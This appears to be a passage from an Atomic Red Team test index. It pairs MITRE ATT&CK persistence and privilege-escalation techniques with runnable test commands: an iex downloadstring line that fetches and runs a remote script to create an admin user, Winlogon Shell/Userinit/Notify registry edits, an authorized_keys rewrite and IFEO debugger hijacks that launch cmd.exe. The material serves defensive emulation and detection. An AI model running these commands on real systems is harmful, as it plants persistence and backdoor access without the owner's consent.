        cleanup_command: 'net user /del "#{username}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Create a new Windows admin user via .NET
      auto_generated_guid: 2170d9b5-bacd-4819-a952-da76dae0815f
      description: 'Creates a new admin user in a powershell session without using
        net.exe

        '
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
        name: powershell
        elevation_required: true
  T1547.004:
    technique:
      modified: '2024-02-14T21:24:37.780Z'
      name: 'Boot or Logon Autostart Execution: Winlogon Helper DLL'
      description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
        executables when a user logs in. Winlogon.exe is a Windows component responsible
        for actions at logon/logoff as well as the secure attention sequence (SAS)
        triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper
        programs and functionalities that support Winlogon.(Citation: Cylance Reg
        Persistence Sept 2013) \n\nMalicious modifications to these Registry keys
        may cause Winlogon to load and execute malicious DLLs and/or executables.
        Specifically, the following subkeys have been known to be possibly vulnerable
        to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify
        - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit
        - points to userinit.exe, the user initialization program executed when a
        user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
        executed when a user logs on\n\nAdversaries may take advantage of these features
        to repeatedly execute malicious code and establish persistence."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Praetorian
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

        Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
      created: '2020-01-24T16:59:59.688Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/004
        external_id: T1547.004
      - source_name: Cylance Reg Persistence Sept 2013
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.004
    atomic_tests:
    - name: Winlogon Shell Key Persistence - PowerShell
      auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon Userinit Key Persistence - PowerShell
      auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon Notify Key Logon Persistence - PowerShell
      auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9
      description: |
        PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

        Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.

        Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of notification package to execute
          type: path
          default: C:\Windows\Temp\atomicNotificationPackage.dll
        function_to_execute:
          description: Function in notification package to execute
          type: string
          default: AtomicTestFunction
      executor:
        command: |
          New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "#{binary_to_execute}" -Type ExpandString -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "#{function_to_execute}" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force
        cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon HKLM Shell Key Persistence - PowerShell
      auto_generated_guid: 95a3c42f-8c88-4952-ad60-13b81d929a9d
      description: |
        PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Shell" "explorer.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Winlogon HKLM Userinit Key Persistence - PowerShell
      auto_generated_guid: f9b8daff-8fa7-4e6a-a1a7-7c14675a545b
      description: |
        PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

        Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of binary to execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
          "Userinit" "Userinit.exe, #{binary_to_execute}" -Force

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows
          NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore

          '
        name: powershell
  T1098.004:
    technique:
      modified: '2023-10-03T17:38:21.121Z'
      name: SSH Authorized Keys
      description: "Adversaries may modify the SSH <code>authorized_keys</code> file
        to maintain persistence on a victim host. Linux distributions and macOS commonly
        use key-based authentication to secure the authentication process of SSH sessions
        for remote management. The <code>authorized_keys</code> file in SSH specifies
        the SSH keys that can be used for logging into the user account for which
        the file is configured. This file is usually found in the user's home directory
        under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized
        Keys) Users may edit the system’s SSH config file to modify the directives
        PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public
        key and RSA authentication are enabled. The SSH config file is usually located
        under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code>
        files directly with scripts or shell commands to add their own adversary-supplied
        public keys. In cloud environments, adversaries may be able to modify the
        SSH authorized_keys file of a particular virtual machine via the command line
        interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata”
        command an adversary may add SSH keys to a user account.(Citation: Google
        Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly,
        in Azure, an adversary may update the authorized_keys file of a virtual machine
        via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This
        ensures that an adversary possessing the corresponding private key may log
        in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation:
        Cybereason Linux Exim Worm) It may also lead to privilege escalation where
        the virtual machine or instance has distinct permissions from the requesting
        user.\n\nWhere authorized_keys files are modified via cloud APIs or command
        line interfaces, an adversary may achieve privilege escalation on the target
        virtual machine if they add a key to a higher-privileged user. \n\nSSH keys
        can also be added to accounts on network devices, such as with the `ip ssh
        pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      - Dror Alon, Palo Alto Networks
      - Or Kliger, Palo Alto Networks
      - Austin Clark, @c2defense
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file. In cloud environments, monitor instances for modification of metadata and configurations.

        Monitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.

        For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - IaaS
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      type: attack-pattern
      id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4
      created: '2020-06-24T12:42:35.144Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/004
        external_id: T1098.004
      - source_name: Venafi SSH Key Abuse
        description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity
          Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24,
          2020.'
        url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities
      - source_name: Google Cloud Privilege Escalation
        description: Chris Moberly. (2020, February 12). Tutorial on privilege escalation
          and post exploitation tactics in Google Cloud Platform environments. Retrieved
          April 1, 2022.
        url: https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/
      - source_name: cisco_ip_ssh_pubkey_ch_cmd
        description: Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July
          13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478
      - source_name: Cybereason Linux Exim Worm
        description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting
          Linux Exim Server Vulnerability. Retrieved June 24, 2020.
        url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
      - source_name: Google Cloud Add Metadata
        description: Google Cloud. (2022, March 31). gcloud compute instances add-metadata.
          Retrieved April 1, 2022.
        url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata
      - source_name: Azure Update Virtual Machines
        description: Microsoft. (n.d.). Virtual Machines - Update. Retrieved April
          1, 2022.
        url: https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update
      - source_name: SSH Authorized Keys
        description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June
          24, 2020.
        url: https://www.ssh.com/ssh/authorized_keys/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.004
    atomic_tests:
    - name: Modify SSH Authorized Keys
      auto_generated_guid: 342cc723-127c-4d3a-8292-9c0c6b4ecadc
      description: "Modify contents of <user-home>/.ssh/authorized_keys to maintain
        persistence on victim host. \nIf the user is able to save the same contents
        in the authorized_keys file, it shows user can modify the file.\n"
      supported_platforms:
      - linux
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat
          ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys;
          fi;

          '
        cleanup_command: 'unset ssh_authorized_keys

          '
  T1546.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
      type: attack-pattern
      created: '2020-01-24T15:05:58.384Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.012
        url: https://attack.mitre.org/techniques/T1546/012
      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
          Retrieved December 18, 2017.
        source_name: Microsoft Dev Blog IFEO Mar 2010
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
          18, 2017.
        source_name: Microsoft GFlags Mar 2017
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
          Process Exit. Retrieved June 27, 2018.
        source_name: Microsoft Silent Process Exit NOV 2017
      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
        source_name: Oddvar Moe IFEO APR 2018
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
          Retrieved December 18, 2017.
        source_name: FSecure Hupigon
      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
          18, 2017.
        source_name: Symantec Ushedix June 2008
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: Image File Execution Options Injection'
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

        Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

        Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.012
    atomic_tests:
    - name: IFEO Add Debugger
      auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8
      description: 'Leverage Global Flags Settings

        '
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: path
          default: calc.exe
        payload_binary:
          description: Binary To Execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
          File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

          '
        cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
          NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger
          /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: IFEO Global Flags
      auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1
      description: 'Leverage Global Flags Settings

        '
      supported_platforms:
      - windows
      input_arguments:
        target_binary:
          description: Binary To Attach To
          type: path
          default: notepad.exe
        payload_binary:
          description: Binary To Execute
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: GlobalFlags in Image File Execution Options
      auto_generated_guid: 13117939-c9b2-4a43-999e-0a543df92f0d
      description: "The following Atomic Test will create a GlobalFlag key under Image
        File Execution Options, also a SilentProcessExit Key with ReportingMode and
        MonitorProcess values. This test is similar to a recent CanaryToken that will
        generate an EventCode 3000 in the Application log when a command, whoami.exe
        for example, is executed.\nUpon running Whoami.exe, a command shell will spawn
        and start calc.exe based on the MonitorProcess value. \nUpon successful execution,
        powershell will modify the registry and spawn calc.exe. An event 3000 will
        generate in the Application log.\n"
      supported_platforms:
      - windows
      input_arguments:
        process:
          description: 'Process to monitor

            '
          type: string
          default: whoami.exe
        cmd_to_run:
          description: 'Command to execute

            '
          type: string
          default: cmd.exe /c calc.exe
      executor:
        command: "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows
          NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item
          -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name
          -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value
          = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item
          -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit
          -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value
          = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name
          -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n"
        cleanup_command: "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows
          NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit
          -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image
          File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n"
        name: powershell
        elevation_required: true
  T1574.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      created: '2020-03-13T11:12:18.558Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      modified: '2020-10-27T14:49:39.188Z'
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Accessibility Features'
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

        Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

        Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

        For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

        * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
        * Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
